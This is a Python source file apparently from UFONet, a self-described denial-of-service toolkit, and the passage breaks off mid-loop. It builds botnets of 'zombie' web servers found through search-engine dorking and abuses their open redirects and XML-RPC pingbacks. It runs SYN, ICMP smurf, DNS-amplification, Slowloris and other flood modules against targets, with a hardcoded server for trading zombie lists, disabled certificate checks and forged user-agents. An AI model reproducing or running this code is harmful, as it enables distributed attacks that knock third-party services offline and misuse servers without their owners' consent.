#!/usr/bin/env python # -*- coding: utf-8 -*-" """ UFONet - Denial of Service Toolkit - 2013/2019 - by psy (epsylon@riseup.net) You should have received a copy of the GNU General Public License along with UFONet; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ import os, sys, re, traceback, random, time, threading, base64, string, math import StringIO, socket, httplib, urllib, urllib2, ssl, cgi, json, gzip from uuid import getnode from urlparse import urlparse from random import randrange, shuffle from options import UFONetOptions from update import Updater from herd import Herd from zombie import Zombie from doll import Doll from core.tools.inspector import Inspector from core.tools.abductor import Abductor from core.tools.ufoscan import UFOSCAN from core.mods.loic import LOIC from core.mods.loris import LORIS from core.mods.ufosyn import UFOSYN from core.mods.spray import SPRAY from core.mods.smurf import SMURF from core.mods.xmas import XMAS from core.mods.nuke import NUKE from core.mods.tachyon import TACHYON class UFONet(object): def __init__(self): self.exit_msg = 'Donate BTC (Bitcoin) to keep UFONet (https://ufonet.03c8.net) strong!' # set msg show at the end [FILO ;-)] self.GIT_REPOSITORY = 'https://code.03c8.net/epsylon/ufonet' # oficial code source [OK! 22/12/2018] self.GIT_REPOSITORY2 = 'https://github.com/epsylon/ufonet' # mirror source [since: 04/06/2018] self.blackhole = '176.28.23.46' # default download/upload zombies [Blackhole] / Try [DIY] your own mirror self.external_check_service1 = 'https://downforeveryoneorjustme.com/' # set external check service 1 [OK! 28/02/2019] self.external_check_service2 = 'https://status.ws/' # set external check service 2 [OK! 28/02/2019] self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site self.check_ip_service1 = 'https://checkip.dyndns.com/' # set external check ip service 1 [OK! 28/02/2019] self.check_ip_service2 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 28/02/2019] self.check_ip_service3 = 'https://ip.42.pl/ra' # set external check ip service 3 [OK! 28/02/2019] self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names self.zombies_file = 'botnet/zombies.txt' # set source path to retrieve [Zombies] self.aliens_file = 'botnet/aliens.txt' # set source path to retrieve [Aliens] self.droids_file = 'botnet/droids.txt' # set source path to retrieve [Droids] self.ucavs_file = 'botnet/ucavs.txt' # set source path to retrieve 'ucavs' self.rpcs_file = 'botnet/rpcs.txt' # set source path to retrieve 'rpcs' self.humans_file = 'botnet/humans.txt' # set source path to retrieve 'humans' self.dorks_file = 'botnet/dorks.txt' # set source path to retrieve [Dorks] self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats self.timeline_file = 'docs/VERSION' # set source for code releases self.news_file = "server/news.txt" # set source path to retrieve [Blackhole] [News] self.missions_file = "server/missions.txt" # set source path to retrieve [Blackhole] [Missions] self.board_file = "server/board.txt" # set source path to retrieve [Blackhole] [Board] self.grid_file = "server/grid.txt" # set source path to retrieve [Blackhole] [Grid] self.wargames_file = "server/wargames.txt" # set source path to retrieve [Blackhole] [Wargames] self.examples_file = "docs/examples.txt" # set source path to retrieve [Examples] self.misc_file = "core/txt/misc.txt" # set source path to retrieve [Miscellania] cites self.referer = '' # black magic self.port = "8080" # default injection port self.mothershipname = "core/txt/shipname.txt" self.mothership_baptism() # generating static name/id for your mothership ;-) self.head = False self.payload = False self.external = False self.attack_mode = False self.connection_failed = False self.total_possible_zombies = 0 self.herd = Herd(self) self.sem = False self.db_flash = 0 # db stress counter self.total_aliens = 0 self.aliens_hit = 0 self.aliens_fail = 0 self.total_droids = 0 self.droids_hit = 0 self.droids_fail = 0 self.total_ucavs = 0 self.ucavs_hit = 0 self.ucavs_fail = 0 self.total_rpcs = 0 self.rpcs_hit = 0 self.rpcs_fail = 0 self.total_loic = 0 self.total_loris = 0 self.total_syn = 0 self.total_spray = 0 self.total_smurf = 0 self.total_xmas = 0 self.total_nuke = 0 self.total_tachyon = 0 self.total_zombies_failed_connection = 0 self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic) self.ctx.check_hostname = False self.ctx.verify_mode = ssl.CERT_NONE self.nat_error_flag = "OFF" self.trans_zombies = 0 self.scanned_zombies = 0 self.loadcheck_counter = 0 self.loadcheck_prev_size = None self.loadcheck_prev_load = None self.loadcheck_first_size = None self.loadcheck_first_load = None self.loadcheck_size_list = [] self.loadcheck_load_list = [] self.loadcheck_size_median = None self.loadcheck_size_max = None self.loadcheck_size_min = None self.loadcheck_load_median = None self.loadcheck_size_max = None self.loadcheck_size_min = None self.num_is_up = 0 # counter for [UCAVs] 'up' reports self.num_is_down = 0 # counter for [UCAVs] 'down' reports self.expire_timing = 30 # default expiring time per round self.extra_zombies_lock = False # used to lock threading flow when [ARMY] is required self.ac_control = [] # used by 'herd.py' to lock threading flow when [Zombies] are returning def mothership_baptism(self): if os.path.exists(self.mothershipname) == True: f = open(self.mothershipname) self.mothership_id = f.read() f.close() else: self.mothership_ids = [] f = open(self.motherships_file) motherships = f.readlines() f.close() for ship in motherships: self.mothership_ids.append(base64.urlsafe_b64encode(ship)) self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip())) m = open(self.mothershipname, "w") # write mothership name to a static file as a baptism m.write(str(self.mothership_id.upper())) m.close() def create_options(self, args=None): self.optionParser = UFONetOptions() self.options = self.optionParser.get_options(args) if not self.options: return False return self.options def banner_welcome(self): print " 0===============================================0" print " || ||" print " (00) || * Botnet -> [DDoS]: ||" print " (O)_ (O) '----' (O) _(O) || /Zombies : HTTP GET bots ||" print " | |.''.( xx ).''.| | || /Droids : HTTP GET (+params) bots ||" print " .'.' |'..'| '.'. || /Aliens : HTTP POST bots ||" print " .-. .' /'--.__|_00_|__.--'\ '. .-. || /UCAVs : Web Abusing bots ||" print " (O).)-|0| \ x | ## |x / |0|-(.(O) || /X-RPCs : XML-RPC bots ||" print " `-' '-'-._'-./ -00- \.-'_.-'-' `-' || /DBSTRESS: HTTP DB attack ||" print " _ | || '-.___||___.-' || | _ || /SPRAY : TCP-SYN reflector ||" print " .' _ | ||==O | __ | O==|| | _ '. || /SMURF : ICMP echo flooder ||" print " / .' ''.| || | /_00_\ | || |.'' '. \ || /TACHYON : DNS amplificator ||" print " | '### | =| | ###### | |= |' ### | || ||" print " | |(0)| '. 0\||__**_ ||/0 .' |(0)| | || * Close Combat -> [DoS]: ||" print " \ '._.' '. | \_##_/ | .' '._.' / || /LOIC : Fast HTTP requests ||" print " '.__ ____0_'.|__'--'__|.'_0____ __.' || /LORIS : Slow HTTP requests ||" print " .'_.-| |-._'. || /UFOSYN : TCP-SYN flooder ||" print " || /XMAS : TCP-XMAS flooder ||" print " + Class: UFONet / ViPR404+ (model F) + || /NUKE : TCP-STARVATION attack ||" print " || ||" print " 0|=============================================|0" print "" def banner(self): print '='*75, "\n" print "888 888 8888888888 .d88888b. 888b 888 888 " print "888 888 888 d88P Y888b 8888b 888 888 " print "888 888 888 888 888 88888b 888 888 " print "888 888 8888888 888 888 888Y88b 888 .d88b. 888888 " print "888 888 888 888 888 888 Y88b888 d8P Y8b 888 " print "888 888 888 888 888 888 Y88888 88888888 888 " print "Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. " print " 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888" print self.optionParser.description, "\n" print '='*75 def generate_exit_msg(self): f = open(self.misc_file) m = f.readlines() f.close() self.exit_msg = "Generating random exit... \n\n" self.exit_msg += " -> "+str(random.choice(m).strip()) def AI(self): try: import turtle as AI print "\n[AI] Making a unique drawing using 'Turtle' (Feurzig & Papert - 1966) -> [OK!]\n" colors = ['red', 'purple', 'blue', 'green', 'orange', 'yellow'] bg = random.choice(colors).strip() t = AI.Pen() AI.bgcolor(bg) r = random.randrange(100,100000) for x in range(r): t.pencolor(colors[x%6]) w = random.randrange(100,1000) t.width(x/w + 1) t.forward(x) l = random.randrange(50,1000) t.left(l) except: print "[AI] %!$1#9#84#~... -> [Exiting!]" pass def round_float(self, num): return str(int(round(num, -1)))[2] # black magic def show_mac_address(self): mac = getnode() # to get physical address hex_mac = str(":".join(re.findall('..', '%012x' % mac))) return hex_mac def show_ips(self): import requests try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("8.8.8.8", 80)) private_ip = s.getsockname()[0] # black magic s.close() except: private_ip = "Unknown" try: public_ip = requests.get(self.check_ip_service3).text except: try: public_ip = requests.get(self.check_ip_service2).text except: try: public_ip = requests.get(self.check_ip_service1).text except: public_ip = "Unknown" return private_ip, public_ip def try_running(self, func, error, args=None): options = self.options args = args or [] try: return func(*args) except Exception as e: if options.verbose: print(error, "error") traceback.print_exc() def checkeuid(self): try: euid = os.geteuid() except: print("[Error] [AI] [UFONet] doesn't work correctly in systems with closed licenses...-> [Exiting!]\n") print "[AI] "+self.exit_msg+"\n" sys.exit(2) # return return euid def start_ship_engine(self): self.agents = [] # generating available user-agents f = open(self.agents_file) agents = f.readlines() f.close() for agent in agents: self.agents.append(agent) self.user_agent = random.choice(self.agents).strip() self.search_engines = [] # available dorking search engines self.search_engines.append('bing') # [28/02/2019: OK!] self.search_engines.append('yahoo') # [28/02/2019: OK!] self.search_engines.append('startpage') # [28/02/2019: OK!] self.search_engines.append('duck') # [28/02/2019: OK!] #self.search_engines.append('yandex') # [03/02/2018: deprecated! -> captchasound] #self.search_engines.append('google') # [09/08/2016: modified -> not working from TOR] if not os.path.exists("core/json/"): # create gui json cfg files folder os.mkdir("core/json/") self.banner_welcome() self.update_flying_stats() # update flying time stats chargo = self.check_mothership_chargo() # check mothership chargo self.update_max_chargo(int(chargo)) # update max chargo stats self.generate_exit_msg() # generate random exit msg def run(self, opts=None): if opts: self.create_options(opts) options = self.options # start threads if not self.options.threads: self.options.threads=5 # default number of threads self.sem = threading.Semaphore(self.options.threads) # start ship engine self.start_ship_engine() # check proxy options proxy = options.proxy if options.proxy: try: pattern = 'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]' m = re.search(pattern, proxy) if m is None: self.banner() print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n") return else: self.proxy_transport(options.proxy) # create proxy transport (also here, to be sure) except Exception: self.banner() print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n") return # check tor connection if options.checktor: url = self.check_tor_url # TOR status checking site self.banner() print "\nSending request to: " + url + "\n" self.user_agent = random.choice(self.agents).strip() # shuffle user-agent headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer try: if options.proxy: # set proxy self.proxy_transport(options.proxy) req = urllib2.Request(url, None, headers) tor_reply = urllib2.urlopen(req, context=self.ctx).read() your_ip = tor_reply.split('')[1].split('')[0].strip() # extract public IP if not tor_reply or 'Congratulations' not in tor_reply: print("It seems that Tor is not properly set.\n") print("IP address appears to be: " + your_ip + "\n") else: print("Congratulations!. Tor is properly being used :-)\n") print("IP address appears to be: " + your_ip + "\n") except: print("Cannot reach TOR checker system!. Are you correctly connected?\n") sys.exit(2) # return # run AES256+HMAC-SHA1 enc/dec tool if options.cryptomsg: from server.crypter import Cipher from base64 import b64encode, b64decode print " " print " ____...------------...____ " print " _.-'' /o/__ ____ __ __ __ \o\_`'-._ " print " .' / / \ \ '. " print " |=====/o/======================\o\=====| " print " |____/_/________..____..________\_\____| " print " / _/ \_ <_o#\__/#o_> _/ \_ \ " print " \__/_____\####/0213411543/####/_____\__/ " print " |===\!/========================\!/===| " print " | |=| .---. |=| | " print " |===|o|=========/ \========|o|===| " print " | | | \() ()/ | | | " print " |===|o|======{'-.) A (.-'}=====|o|===| " print " | __/ \__ '-.\uuu/.-' __/ \__ | " print " |==== .'.'^'.'.====|====.'.'^'.'.====| " print " | _\o/ __ {.' __ '.} _ _\o/ _| " print " '''''''''''''''''''''''''''''''''''''' " print "\nUFONet Crypter (AES256+HMAC-SHA1)\n" print " -> (140 plain text chars = 69 encrypted chars)\n" text = str(raw_input("- Enter text: ")) input_key = str(raw_input("- Enter key: ")) key = b64encode(input_key) c = Cipher(key, text) msg = c.encrypt() c.set_text(msg) print '\n-> Ciphertext: [', msg, ']' print '\nLength:', len(msg) print '\n-> Key (share it using SNEAKNET!):', input_key print '\nDecryption PoC:', c.decrypt(), "\n" # run shownet tool if options.shownet: hex_mac = self.show_mac_address() self.banner() print "-> Network Info:" print '='*44 print "-"*35 print "|- MAC Address :", hex_mac print "|" +"-"*34 private_ip, public_ip = self.show_ips() print "|- IP Private :", private_ip print "|" +"-"*34 t = urlparse(self.check_ip_service3) name_service = t.netloc print "|- IP Public :", public_ip +" | ["+name_service+"]" print "-"*35 print '='*75, "\n" # run UFOSCAN tool (check EUID when running UFOSCAN) if options.xray: euid = self.checkeuid() if euid != 0: print("[Info] [AI] [Control] [UFOSCAN] (--xray) not started as root...\n") try: args = ['sudo', sys.executable] + sys.argv + [os.environ] os.execlpe('sudo', *args) except: pass # keep running else: if not options.xrayps: options.xrayps = str("1-1024") # default scanning ports (1-1024) ports = options.xrayps try: portX, portY = ports.split('-') try: portX = int(portX) portY = int(portY) except: portX = 1 portY = 1024 print "[Error] [AI] [UFOSCAN] Something wrong with range of ports selected. Using by default: 1-1024...\n" except: portX = 1 portY = 1024 print "[Info] [AI] [UFOSCAN] Not any range of ports selected. Using by default: 1-1024...\n" self.banner() print("\n[AI] Analizing target to extract interesting information... Be patient!\n") print '='*22 + '\n' try: self.instance = UFOSCAN() # instance main class for scanning operations xray = self.instance.scanning(options.xray, portX, portY) except Exception, e: print ("[Error] [AI] Something wrong scanning... Not any data stream found! -> [Exiting!]\n") if self.options.verbose: traceback.print_exc() return # show code timeline if options.timeline: f = open(self.timeline_file, 'r') releases = f.readlines() f.close() self.banner() print "-> Code timeline:" print '='*44 print "-"*35 for r in releases: print r.strip('\n') print "-"*35 print '='*75, "\n" # print some examples if options.examples: f = open(self.examples_file, 'r') examples = f.readlines() f.close() self.banner() for e in examples: print e.strip('\n') # check EUID when running UFOSYN (root required for open 'raw sockets') / GUI will invoke 'sudo' directly if options.ufosyn: euid = self.checkeuid() if euid != 0: print("[Info] [AI] [Control] [UFOSYN] (--ufosyn) not started as root...\n") try: args = ['sudo', sys.executable] + sys.argv + [os.environ] os.execlpe('sudo', *args) except: pass # keep running, but UFOSYN will fail # check EUID when running SPRAY (root required) if options.spray: euid = self.checkeuid() if euid != 0: print("[Info] [AI] [Control] [SPRAY] (--spray) not started as root...\n") try: args = ['sudo', sys.executable] + sys.argv + [os.environ] os.execlpe('sudo', *args) except: pass # keep running, but SPRAY will fail # check EUID when running SMURF (root required) if options.smurf: euid = self.checkeuid() if euid != 0: print("[Info] [AI] [Control] [SMURF] (--smurf) not started as root...\n") try: args = ['sudo', sys.executable] + sys.argv + [os.environ] os.execlpe('sudo', *args) except: pass # keep running, but SMURF will fail # check EUID when running XMAS (root required) if options.xmas: euid = self.checkeuid() if euid != 0: print("[Info] [AI] [Control] [XMAS] (--xmas) not started as root...\n") try: args = ['sudo', sys.executable] + sys.argv + [os.environ] os.execlpe('sudo', *args) except: pass # keep running, but XMAS will fail # check EUID when running NUKE (root required) if options.nuke: euid = self.checkeuid() if euid != 0: print("[Info] [AI] [Control] [NUKE] (--nuke) not started as root...\n") try: args = ['sudo', sys.executable] + sys.argv + [os.environ] os.execlpe('sudo', *args) except: pass # keep running, but NUKE will fail # check EUID when running TACHYON (root required) if options.tachyon: euid = self.checkeuid() if euid != 0: print("[Info] [AI] [Control] [TACHYON] (--tachyon) not started as root...\n") try: args = ['sudo', sys.executable] + sys.argv + [os.environ] os.execlpe('sudo', *args) except: pass # keep running, but TACHYON will fail # search for [Zombies] on search engines results (dorking) if options.search: zombies = [] if options.engine: engine = options.engine else: engine = "startpage" # default search engine try: self.banner() if not os.path.exists(self.humans_file) == True: f = open(self.humans_file, 'w') f.close() lf = open(self.humans_file, 'r') restored = lf.readlines() zombies_restored = len(restored) lf.close() lz = open(self.zombies_file, 'r') zombies_army = lz.readlines() for zombie in zombies_army: zombies.append(zombie) # add zombies from army to the zombies pool lz.close() if len(restored) > 0: print "\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n" if not self.options.forceyes: backup_reply = raw_input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n") print '-'*25 else: backup_reply = "Y" if backup_reply == "n" or backup_reply == "N": print "\n[Info] [AI] Removing data stored and starting a new search...\n" os.remove(self.humans_file) zombies_restored = 0 # flush zombies restored print '-'*25 + "\n" else: print "\n[Info] [AI] Restoring data and starting a new search...\n" print '-'*25 + "\n" for zombie in restored: zombies.append(zombie) # add previous data to zombies pool if options.allengines: for e in self.search_engines: engine = e print '='*44 print("\n[AI] Searching for zombies using: "+engine+'\n') print '='*44 + '\n' self.options.engine = engine try: zombies_chain = self.search_zombies(dork='', zombies_found=zombies) if zombies_chain != None: for zombie in zombies_chain: if zombie not in zombies: # evade possible repetitions zombies.append(zombie) except: if zombies: # backup all new zombies found to file in case of exception for zombie in zombies: if zombie+os.linesep not in restored: # only append new zombies found with open(self.humans_file, "a") as f: f.write(str(zombie+os.linesep)) else: if restored: print '='*44 print("\n[AI] Searching for zombies using: "+engine+"\n") print '='*44 + '\n' if restored: # from restored file try: zombies_chain = self.search_zombies(dork='', zombies_found=zombies) if zombies_chain != None: for zombie in zombies_chain: if zombie not in zombies: # evade possible repetitions zombies.append(zombie) except: if zombies: # backup all new zombies found to file in case of exception for zombie in zombies: if zombie+os.linesep not in restored: # only append new zombies found with open(self.humans_file, "a") as f: f.write(str(zombie+os.linesep)) else: try: zombies = self.search_zombies(dork='', zombies_found=zombies) except: if zombies: # backup all new zombies found to file in case of exception for zombie in zombies: if zombie+os.linesep not in restored: # only append new zombies found with open(self.humans_file, "a") as f: f.write(str(zombie+os.linesep)) total_restored = zombies_restored new_zombies = 0 # new zombies counter f = open(self.zombies_file, 'r') zz = f.readlines() f.close() zombies_found = [] for z in zombies: if z.endswith(os.linesep): z = z.replace(os.linesep, "") if z not in zz and z+os.linesep not in zz: new_zombies = new_zombies + 1 zombies_found.append(z) print '='*62 print "\n- Victims found:", len(zombies_found), "\n" print " - Restored:", total_restored print " - Dorked:", abs(len(zombies_found) - total_restored), "\n" print '-'*32 print "\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n" print '='*62 + '\n' if len(zombies) > 0: if not self.options.forceyes: check_backup_reply = raw_input("[AI] Do you want to save the results for a future search? (Y/n)\n") print '-'*25 else: check_backup_reply = "Y" if check_backup_reply == "n" or check_backup_reply == "N": if os.path.isfile(self.humans_file): os.remove(self.humans_file) # remove search backup file (keeping love from shadows!) print "\n[Info] [AI] Temporal data correctly removed...\n" else: with open(self.humans_file, "w") as f: for z in zombies_found: if z.endswith(os.linesep): z = z.replace(os.linesep, "") if z not in zz or z+os.linesep not in zz: f.write(z+os.linesep) f.close() print "\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n" print '-'*25 + "\n" if new_zombies and new_zombies > 0: if not self.options.forceyes: check_url_link_reply = raw_input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n") print '-'*25 + "\n" else: check_url_link_reply = "Y" if check_url_link_reply == "n" or check_url_link_reply == "N": print "[AI] "+self.exit_msg+"\n" pass else: print "\n" + '='*44 test = self.testing(zombies_found) else: print "[Info] [AI] NOT any NEW possible zombies found -> [Exiting!]\n" except Exception: print ("\n[Error] [AI] Something wrong searching using: "+engine+"\n") # search for [Zombies] from a list of [Dorks] if options.dorks: if options.engine: engine = options.engine else: engine = "startpage" # default search engine try: dorks = self.extract_dorks() if not dorks: return zombies = [] self.banner() if not os.path.exists(self.humans_file) == True: f = open(self.humans_file, 'w') f.close() lf = open(self.humans_file, 'r') restored = lf.readlines() zombies_restored = len(restored) lf.close() lz = open(self.zombies_file, 'r') zombies_army = lz.readlines() for zombie in zombies_army: zombies.append(zombie) # add zombies from army to the zombies pool lz.close() if len(restored) > 0: print "\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n" if not self.options.forceyes: backup_reply = raw_input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n") print '-'*25 else: backup_reply = "Y" if backup_reply == "n" or backup_reply == "N": print "\n[Info] [AI] Removing data stored and starting a new search...\n" os.remove(self.humans_file) zombies_restored = 0 # flush zombies restored print '-'*25 + "\n" else: print "\n[Info] [AI] Restoring data and starting a new search...\n" print '-'*25 + "\n" for zombie in restored: zombies.append(zombie) # add previous data to zombies pool total_restored = zombies_restored if options.allengines: for e in self.search_engines: engine = e print '='*44 print("\n[AI] Searching for zombies using: ["+engine+ "] from a list of [Dorks]\n") print '='*44 + '\n' self.options.engine = engine for dork in dorks: print '='*22 print "Dork:", dork print '='*22 + '\n' try: dorked_zombies = self.search_zombies(dork, zombies) # AI mode for zombie in dorked_zombies: if zombie not in zombies: # evade repetitions for zombies found zombies.append(zombie) if zombie+os.linesep not in restored: # only append new zombies found with open(self.humans_file, "a") as f: f.write(str(zombie+os.linesep)) f.close() except: if zombies: # backup new zombies found on exception for zombie in zombies: if zombie+os.linesep not in restored: # only append new zombies found with open(self.humans_file, "a") as f: f.write(str(zombie+os.linesep)) f.close() else: if restored: print '='*44 print("\n[AI] Searching for zombies using: ["+ engine+ "] from a list of [Dorks]\n") print '='*44 + '\n' for dork in dorks: print '='*22 print "Dork:", dork print '='*22 + '\n' try: dorked_zombies = self.search_zombies(dork, zombies) # AI mode if dorked_zombies != None: for zombie in dorked_zombies: if zombie not in zombies: # evade repetitions for zombies found zombies.append(zombie) except: if zombies: # backup new zombies found on exception for zombie in zombies: if zombie+os.linesep not in restored: # only append new zombies found with open(self.humans_file, "a") as f: f.write(str(zombie+os.linesep)) f.close() new_zombies = 0 # new zombies counter f = open(self.zombies_file, 'r') zz = f.readlines() f.close() zombies_found = [] for z in zombies: if z.endswith(os.linesep): z = z.replace(os.linesep, "") if z not in zz and z+os.linesep not in zz: new_zombies = new_zombies + 1 zombies_found.append(z) print '='*62 print "\n- Victims found:", len(zombies_found), "\n" print " - Restored:", total_restored print " - Dorked:", len(zombies_found) - total_restored, "\n" print '-'*32 print "\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n" print '='*62 + '\n' if len(zombies_found) > 0: if not self.options.forceyes: check_backup_reply = raw_input("[AI] Do you want to save the results for a future search? (Y/n)\n") print '-'*25 else: check_backup_reply = "Y" if check_backup_reply == "n" or check_backup_reply == "N": if os.path.isfile(self.humans_file): os.remove(self.humans_file) # remove search backup file (keeping love from shadows!) print "\n[Info] [AI] Temporal data correctly removed...\n" else: with open(self.humans_file, "w") as f: for z in zombies_found: if z.endswith(os.linesep): z = z.replace(os.linesep, "") if z not in zz or z+os.linesep not in zz: f.write(z+os.linesep) f.close() print "\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n" print '-'*25 + "\n" if new_zombies and new_zombies > 0: if not self.options.forceyes: check_url_link_reply = raw_input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n") print '-'*25 + "\n" else: check_url_link_reply = "Y" if check_url_link_reply == "n" or check_url_link_reply == "N": print "[AI] "+self.exit_msg+"\n" pass else: print "\n" + '='*44 test = self.testing(zombies_found) else: print "[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n" except Exception: print ("\n[Error] [AI] Something wrong searching using: "+engine+"\n") # auto-search for [Zombies] (dorks+all_engines+time -> to discover max new zombies) if options.autosearch: try: dorks = self.extract_dorks() except: print "\n[Info] [AI] Not any dork present at: 'botnet/dorks.txt' -> [Aborting!]\n" return engines_list = self.search_engines stop_flag = False # use a flag to establish an end try: self.banner() print "\n[AI] Searching automatically for [Zombies] (WARNING: this may take several time!)\n" print "[Info] Try to use CTRL+z (on shell) to STOP IT! ;-)\n" print '-'*25 + "\n" zombies_found = [] lz = open(self.zombies_file, 'r') zombies_army = lz.readlines() for zombie in zombies_army: zombies_found.append(zombie) # add zombies from army to the zombies found pool lz.close() if not os.path.exists(self.humans_file) == True: f = open(self.humans_file, 'w') f.close() lf = open(self.humans_file, 'r') restored = lf.readlines() zombies_restored = len(restored) lf.close() if len(restored) > 0: print "[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n" if not self.options.forceyes: backup_reply = raw_input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n") print '-'*25 else: backup_reply = "Y" if backup_reply == "n" or backup_reply == "N": print "\n[Info] [AI] Removing data stored and starting a new (auto)search...\n" os.remove(self.humans_file) zombies_restored = 0 # flush zombies restored print '-'*25 + "\n" else: print "\n[Info] [AI] Restoring data and starting a new (auto)search...\n" print '-'*25 + "\n" for zombie in restored: zombies_found.append(zombie) # add previous data to zombies found pool total_restored = zombies_restored while stop_flag == False: if not os.path.exists(self.humans_file) == True: f = open(self.humans_file, 'w') f.close() lf = open(self.humans_file, 'r') # read it on each iteration to update changes restored = lf.readlines() lf.close() zombies_restored = len(restored) for e in engines_list: zombies_counter = 0 # use it also as (engine) flag engine = e self.options.engine = engine print '='*44 + '\n' print("[AI] Searching for zombies using: "+engine+'\n') print '='*44 + '\n' for dork in dorks: print '='*22 print "Dork:", dork print '='*22 + '\n' try: dorked_zombies = self.search_zombies(dork, zombies_found) # AI mode for zombie in dorked_zombies: if zombie not in zombies_found: # evade repetitions for zombies found zombies_found.append(zombie) if zombie+os.linesep not in restored: # only append new zombies found with open(self.humans_file, "a") as f: f.write(str(zombie+os.linesep)) f.close() zombies_counter = zombies_counter + 1 except: if zombies_found: # backup new zombies found on exception for zombie in zombies_found: if zombie+os.linesep not in restored: # only append new zombies found with open(self.humans_file, "a") as f: f.write(str(zombie+os.linesep)) f.close() if zombies_counter == 0: print "[Info] [AI] NOT more NEW victims found (by the moment) using: "+engine+" -> [Discarding!]\n" print '-'*25 + "\n" engines_list.remove(engine) # remove not more results engine from search engines list if not engines_list: # if search engines empty, call return-exit routine print "[Info] [AI] Search engines aren't providing more results -> [Exiting!]\n" print '-'*25 + "\n" stop_flag = True # exit flag up new_zombies = 0 # new zombies counter f = open(self.zombies_file, 'r') zz = f.readlines() f.close() all_zombies_found = [] for z in zombies_found: if z.endswith(os.linesep): z = z.replace(os.linesep, "") if z not in zz and z+os.linesep not in zz: new_zombies = new_zombies + 1 all_zombies_found.append(z) print '='*62 print "\n- Victims found:", len(all_zombies_found), "\n" print " - Restored:", total_restored print " - Dorked:", len(all_zombies_found) - total_restored, "\n" print '-'*32 print "\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n" print '='*62 + '\n' if len(zombies_found) > 0: if not self.options.forceyes: check_backup_reply = raw_input("[AI] Do you want to save the results for a future search? (Y/n)\n") print '-'*25 else: check_backup_reply = "Y" if check_backup_reply == "n" or check_backup_reply == "N": if os.path.isfile(self.humans_file): os.remove(self.humans_file) # remove search backup file (keeping love from shadows!) print "\n[Info] [AI] Temporal data correctly removed...\n" else: with open(self.humans_file, "w") as f: for z in all_zombies_found: if z.endswith(os.linesep): z = z.replace(os.linesep, "") if z not in zz or z+os.linesep not in zz: f.write(z+os.linesep) f.close() print "\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n" print '-'*25 + "\n" if new_zombies and new_zombies > 0: if not self.options.forceyes: check_url_link_reply = raw_input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n") print '-'*25 + "\n" else: check_url_link_reply = "Y" if check_url_link_reply == "n" or check_url_link_reply == "N": print "[AI] "+self.exit_msg+"\n" pass else: print "\n" + '='*44 test = self.testing(all_zombies_found) else: print "[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n" except Exception: print ("[Error] [AI] Something wrong (auto)searching...\n") # test web 'zombie' servers -> show statistics if options.test: try: self.banner() zombies = self.extract_zombies() if not zombies: return test = self.testing(zombies) self.update_missions_stats() # update mothership missions stats except Exception: print ("\n[Error] [AI] Something wrong testing!\n") if self.options.verbose: traceback.print_exc() # test XML-'rpc' pingback vulnerable servers -> update list if options.testrpc: try: self.banner() rpcs = self.extract_rpcs() if not rpcs: return testrpc = self.testing_rpcs(rpcs) self.update_missions_stats() # update mothership missions stats except Exception: print ("\n[Error] [AI] Something wrong testing X-RPCs!\n") if self.options.verbose: traceback.print_exc() # check botnet searching for zombies offline if options.testoffline: try: self.banner() testbotnet = self.testing_offline() self.update_missions_stats() # update mothership missions stats except Exception: print ("\n[Error] [AI] Something wrong checking for offline [Zombies]!\n") if self.options.verbose: traceback.print_exc() # check ALL botnet status if options.testall: try: self.banner() test_all_botnet = self.testing_all() self.update_missions_stats() # update mothership missions stats except Exception: print ("\n[Error] [AI] Something wrong testing ALL botnet status!\n") if self.options.verbose: traceback.print_exc() # attack target -> exploit Open Redirect massively and conduct vulnerable servers to a single target if options.target: try: self.banner() zombies = self.extract_zombies() if not zombies: return attack = self.attacking(zombies, options.target) self.update_missions_stats() # update mothership missions stats except Exception: print ("\n[Error] [AI] Something wrong attacking!\n") if self.options.verbose: traceback.print_exc() # attack a list of targets -> exploit Open Redirect massively and conduct vulnerable servers to multiple targets if options.target_list: try: self.banner() zombies = self.extract_zombies() if not zombies: return targets = self.extract_target_list() if not targets: print "\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n" return self.options.forceyes = True # force-yes ON! self.num_target_list = 0 print "\n[AI] Checking integrity of targets...\n" for t in targets: # start of code block dedicated to: Guido van Rossum [23/12/2018] if not t.startswith("http"): # discarded inmediately print "[Info] [AI] [Control] " + str(t) + " -> [Discarding!]" targets.remove(t) # ¿remove? invalid targets print "" c = 0 for target in 